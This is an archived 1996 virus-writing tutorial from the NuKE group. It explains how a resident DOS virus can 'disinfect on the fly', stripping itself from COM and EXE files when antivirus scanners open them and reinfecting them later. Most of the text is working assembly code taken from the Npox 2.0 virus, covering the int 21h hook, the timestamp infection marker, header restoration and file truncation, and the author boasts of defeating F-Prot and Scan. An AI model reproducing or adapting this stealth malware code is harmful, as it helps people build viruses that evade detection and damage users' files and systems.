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Text File | 1996-04-16 | 13.3 KB | 177 lines

************************************* ** Disinfecting an Infected File ** ** ** ** By Rock Steady/NuKE ** ************************************* The BEST advantage a virus can have is `Disinfecting of Fly' as we must try to basically hide the virus as well as possible! And nowadays Anti- Virus programs are going crazy. As I remember at the time Npox 2.0 was developed it would Disinfect every file opened by F-prot and Scan and when the Scanner found nothing and closed the file to go on to the next Npox would re-infect them. Truly can cause havoc, As a matter of fact Frisk didn't like this as I had some `Anti Fuck-Prot' routines and he added his own routine to open files by Int21h/6C00h, as Npox only disinfected on Int21h/3Dh, however to make the virus disinfect on Int21h/6C00h, doesn't require much work, simply to take the ASCIIZ string at DS:SI and put SI into DX so we have DS:DX pointing to it, then run this routine. The Basic idea on disinfection is this... -For .COM files Restore the first 3 bytes original Bytes of the program, these 3 bytes are usually somewhere inside the virus, and then simply remove the virus from the end of the .COM file! We do this by jumping to the end of the COM file and subtracting the Virus size from the File size and that new value is the original file size! NOTE: if you write a virus that its length changes (Polymorphic) its wise to save the original Filesize to be infected before hand. -For .EXE files & Overlays This procedure is not different, just that if you changed CS:IP & SP:SS in the EXE header, simply restore the original values, or to save time, simple save the Original EXE header (first 1b bytes) in the virus and right that to the beginning as I did for Npox 2.0 Then Subtract yourself from the original size and cut it off! I will now follow thru the Npox 2.0 virus routine Closely so you can under stand this process. Okay first thing you would want to do is CHECK if this is If the virus infects COMs & EXEs, do not waste your time looking thru other extensions, or for tight code you can waste your time and "HOPE" the `infection' marker will fail! Meaning if the virus uses the seconds field set to 60 (as Npox) then naturally only INFECTED files will have a time stamp of 60! And this routine is not needed... opening_file: call check_extension ;Check for .COM extension jnc open_fuck2 ;YES; Jmp & Disinfect call check_exten_exe ;Check for .EXE extension jnc open_fuck2 ;YES; Jmp & disinfect jmp dword ptr cs:[int21] ;Other wise goto DOS ; At this point the file has an .COM or .EXE extension, so we continue open_fuck2: push ax ;Save AX mov ax,3d02h ;Ready to open call calldos21 ;Do it! ;NOTE: its important you called Int21h YOURSELF! you CAN NOT do a "Int 21h" ;command, as the virus will intercept it, and will come to this routine ;and it will continue over and over again, Never ending l ;stack gets too big, overwrite the code and the system ja ;in about 2 seconds... jnc open_fuck1 ;No Error Continue pop ax ;restore iret ;Exit open_fuck1: push bx push cx push dx push ds mov bx,ax ;BX=File handler mov ax,5700h ;Get file TimeStamp call calldos21 mov al,cl ;move seconds into al or cl,1fh ;Left just seconds dec cx ;60 Seconds xor al,cl ;cmp jnz opening_exit3 ;NOT 60 seconds exit! dec cx mov word ptr cs:[old_time],cx ;Save mov word ptr cs:[old_date],dx ;Save Date Stamp mov ax,4202h ;Goto the End of File xor cx,cx xor dx,dx call calldos21 mov cx,dx ;Save the filesize mov dx,ax ;we will need it later ;to subtract the virus push cx ;size fromit... push dx ;Save it... Here now we get the first 3 bytes (for com) or first 1B bytes (EXE header) in the Nuke Pox virus I save the ORIGINAL first 3 bytes of the .com at the VERY END! Since the buffer I made was 1B hex bytes, it is able to hold the EXE header or 3 .com bytes, anyhow the beginning of these bytes are the last 1B bytes, since its at the end... figure it out where you saved your 3 bytes or exe header for your virus, or use the Npox routine... sub dx,1Bh ;Subtract 1B bytes from sbb cx,0 ;the filesize! mov ax,4200h ;Now our pointer will call calldos21 ;point to the 1B bytes ;Where the COM & EXE ;original bytes are push cs pop ds ;CS=DS (for exes) mov ah,3fh ;Read them into Buffer mov cx,1Bh ;1B bytes mov dx,offset buffer ;to our buffer call calldos21 humm, now we got the original bytes, all we gotta do is write them back to the file's beginning... xor cx,cx ;Goto Beginning of File xor dx,dx ; mov ax,4200h call calldos21 mov ah,40h ;Write first three bytes mov dx,offset buffer ;our buffer mov cx,1Bh ;1B bytes for EXEs cmp word ptr cs:[buffer],5A4Dh je open_exe_jmp ;if EXE file jump mov cx,3h ;if COM write only 3 bytes open_exe_jmp: call calldos21 We wrote the original file's data back to place, now we need to cut the virus off from the file, the virus is written at the end of the file, so all we do is set our file-pointer to EOF - Virus_Size, which gives us the original file length! pop dx ;EOF - Virus_Size pop cx ;to get ORIGINAL File size sub dx,virus_size ;subtract virus size sbb cx,0 mov ax,4200h call calldos21 Now this is perhaps the "TRICKIEST" part, in order to "CROP" the file, at our new ptr location, what we do it use does to crop it, by writing 0 bytes to the new location, DOS will make that new location the NEW EoF and in result cutting off the virus and deleting its sector in the fat. mov ah,40h ;Write new EOF xor cx,cx ;Zero Bytes call calldos21 ;doit mov cx,word ptr cs:[old_time] ;Restore file time mov dx,word ptr cs:[old_date] ;Restore file date mov ax,5701h int 21h mov ah,3eh ;Close File call calldos21 opening_exit3: pop ds pop dx pop cx pop bx pop ax jmp dword ptr cs:[int21] ;Return to DOS... ahh, the file is now Disinfected, now we safely return it to DOS and DOS may now open the file for inspection... Rock Steady/NuKE